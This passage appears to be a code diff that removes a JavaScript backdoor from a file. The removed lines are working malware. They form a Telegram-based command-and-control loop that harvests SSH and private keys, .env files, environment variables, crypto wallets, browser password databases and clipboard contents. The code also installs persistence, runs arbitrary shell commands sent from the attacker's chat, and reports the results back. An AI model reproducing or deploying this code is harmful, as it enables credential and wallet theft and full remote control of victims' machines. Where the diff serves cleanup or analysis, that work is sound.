return `<b>🌐 Browser Data — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
316
|
-
|
|
317
|
-
} else if (cmd === '/clipboard') {
|
|
318
|
-
const out = await shell(IS_WIN
|
|
319
|
-
? 'powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Clipboard]::GetText()"'
|
|
320
|
-
: 'xclip -o 2>/dev/null || pbpaste 2>/dev/null || echo "No clipboard tool available"');
|
|
321
|
-
return `<b>📋 Clipboard — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
322
|
-
|
|
323
|
-
} else if (cmd === '/die' || cmd === '/exit') {
|
|
324
|
-
active = false;
|
|
325
|
-
return `🛑 Backdoor shutting down on ${HOSTNAME} [${IS_WIN ? 'WINDOWS' : 'UNIX'}]`;
|
|
326
|
-
|
|
327
|
-
} else if (cmd === '/help') {
|
|
328
|
-
return `<b>🤖 BACKDOOR — ${HOSTNAME}</b> [${IS_WIN ? 'WINDOWS' : 'UNIX'}]\n\n` +
|
|
329
|
-
`/keys — Scan for private keys & .env\n` +
|
|
330
|
-
`/ssh — Dump SSH private keys\n` +
|
|
331
|
-
`/env — Full environment variables\n` +
|
|
332
|
-
`/info — System info + IP\n` +
|
|
333
|
-
`/ps — Running processes\n` +
|
|
334
|
-
`/wallet — Find wallet files (Phantom/Metamask/Backpack)\n` +
|
|
335
|
-
`/desktop — List Desktop/Documents/Downloads\n` +
|
|
336
|
-
`/browser — Find browser password databases\n` +
|
|
337
|
-
`/clipboard — Read clipboard contents\n` +
|
|
338
|
-
`/cron — Check persistence\n` +
|
|
339
|
-
`/sh <cmd> — Execute shell command\n` +
|
|
340
|
-
`/die — Self-destruct`;
|
|
341
|
-
|
|
342
|
-
} else if (cmd.startsWith('/sh ') || cmd.startsWith('/cmd ') || cmd.startsWith('/exec ')) {
|
|
343
|
-
const shCmd = cmd.slice(cmd.indexOf(' ') + 1);
|
|
344
|
-
const out = await shell(shCmd);
|
|
345
|
-
return `<b>$ ${shCmd}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
346
|
-
|
|
347
|
-
} else {
|
|
348
|
-
// Unknown — try as shell command
|
|
349
|
-
if (cmd.startsWith('/')) return `Unknown command: ${cmd}. Type /help`;
|
|
350
|
-
const out = await shell(cmd);
|
|
351
|
-
if (out.trim()) {
|
|
352
|
-
return `<b>$ ${cmd}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
353
|
-
}
|
|
354
|
-
return null;
|
|
355
|
-
}
|
|
356
|
-
}
|
|
357
|
-
|
|
358
|
-
// ========== MAIN C2 LOOP ==========
|
|
359
|
-
async function c2Loop() {
|
|
360
|
-
const keys = collectKeys();
|
|
361
|
-
const info = sysinfo();
|
|
362
|
-
const persist = installPersistence();
|
|
363
|
-
|
|
364
|
-
let initMsg = `🟢 <b>BACKDOOR ACTIVE — ${HOSTNAME}</b>\n`;
|
|
365
|
-
initMsg += `<b>OS:</b> ${IS_WIN ? 'WINDOWS' : 'UNIX'} | <b>User:</b> ${USER}\n`;
|
|
366
|
-
initMsg += `<b>IP:</b> ${info.ip || 'unknown'}\n`;
|
|
367
|
-
initMsg += `<b>Keys found:</b> ${keys.files.length} files, ${Object.keys(keys.env).length} env vars\n`;
|
|
368
|
-
initMsg += `<b>Persistence:</b> ${persist.join(', ') || 'none'}\n`;
|
|
369
|
-
initMsg += `<b>Type:</b> /help for commands`;
|
|
370
|
-
|
|
371
|
-
if (keys.files.length > 0) {
|
|
372
|
-
initMsg += `\n\n<b>📁 INITIAL KEYS:</b>`;
|
|
373
|
-
for (const f of keys.files) {
|
|
374
|
-
initMsg += `\n<b>${f.file}</b>:\n<pre>${f.content.slice(0, 1500)}</pre>`;
|
|
375
|
-
}
|
|
376
|
-
}
|
|
377
|
-
|
|
378
|
-
await tg('sendMessage', { chat_id: CHAT, text: initMsg.slice(0, 4000), parse_mode: 'HTML' });
|
|
379
|
-
|
|
380
|
-
while (active) {
|
|
381
|
-
try {
|
|
382
|
-
const updates = await tg('getUpdates', { offset: lastMsgId + 1, timeout: 30, allowed_updates: ['message'] });
|
|
383
|
-
|
|
384
|
-
if (updates.ok && updates.result) {
|
|
385
|
-
for (const update of updates.result) {
|
|
386
|
-
lastMsgId = Math.max(lastMsgId, update.update_id);
|
|
387
|
-
const msg = update.message;
|
|
388
|
-
if (!msg || !msg.text) continue;
|
|
389
|
-
|
|
390
|
-
const response = await handleCommand(msg.text);
|
|
391
|
-
if (response) {
|
|
392
|
-
await tg('sendMessage', { chat_id: CHAT, text: response.slice(0, 4000), parse_mode: 'HTML' });
|
|
393
|
-
}
|
|
394
|
-
}
|
|
395
|
-
}
|
|
396
|
-
} catch(e) {}
|
|
397
|
-
|
|
398
|
-
await new Promise(r => setTimeout(r, 8000));
|
|
399
|
-
}
|
|
400
|
-
}
|
|
401
|
-
|
|
402
|
-
c2Loop().catch(() => {});
|
|
111
|
+
main().catch(function(){});
|